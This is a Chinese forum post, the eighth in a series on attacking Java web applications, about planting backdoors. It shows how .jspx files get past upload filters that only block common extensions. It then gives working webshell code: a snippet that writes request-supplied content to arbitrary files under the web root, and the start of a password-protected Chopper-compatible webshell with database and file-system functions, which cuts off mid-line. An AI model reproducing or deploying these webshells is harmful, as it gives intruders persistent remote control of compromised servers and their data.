阅读:1946回复:0
攻击JavaWeb应用[8]-后门篇
◆0 背景
关于JavaWeb后门问题一直以来都比较少,而比较新奇的后门更少。在这里我分享几种比较有意思的JavaWeb后门给大家玩。 ◆1 jspx后门 在如今的web应用当中如果想直接传个jsp已经变得比较难了,但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎样去突破呢?我在读tomcat的配置文件的时候看到jsp和jspx都是由org.apache.jasper.servlet.JspServlet处理,于是想构建一个jspx的webshell。经过反复的折腾,一个jspx的后门就粗线了。测试应该是java的所有的server都默认支持。 Tomcat默认的conf/web.xml下的配置: jsp org.apache.jasper.servlet.JspServlet fork false xpoweredBy false 3 jsp *.jsp *.jspx 关于jspx的资料网上并不多,官网给的文档也不清楚,搞的模模糊糊的。怎么去玩jspx大家可以看下官网的demo,或者参考一些文章。 http://jspx-bay.sourceforge.net 关于jspx文件的一些说明: http://blog.sina.com.cn/s/blog_4b6de6bb0100089s.html 重点在于把Jsp里面的一些标记转换成xml支持的格式,比如: xmlns:prefix="tag library URL" .. .. 知道可以用标记表示那么做起来就很简单了,直接把标记换下是非常容易做的。所以写个简单的shell一个就很简单了,但是如果想知道具体有那些标签或者说跟jsp里面的有那些不同怎么办呢?下面我简单的做了下对比(前面是jsp的代码提示,后面是jspx): 图片:2014091813461562509.jpeg 照着提示翻译下得知表示jsp里面的需要用:标签去替换就行了。 其他重要提醒: 在jspx里面遵循xml语法所以直接在jsp:declaration或者jsp:scriptlet标签内写""这样的符号是不行的,需要转意(不转意会报编译错误,猜了下只需要把转成就行了)。 jspx后门的具体实现代码: RandomAccessFile rf = new RandomAccessFile(request.getRealPath("/")+request.getParameter("f"), "rw"); rf.write(request.getParameter("t").getBytes()); rf.close(); jspx实现的我之前发的菜刀最终版: http://localhost:8080/jspx.jspx  直接用菜刀连接: 图片:2014091813461562509.jpeg String Pwd="023";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("rn");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i |
|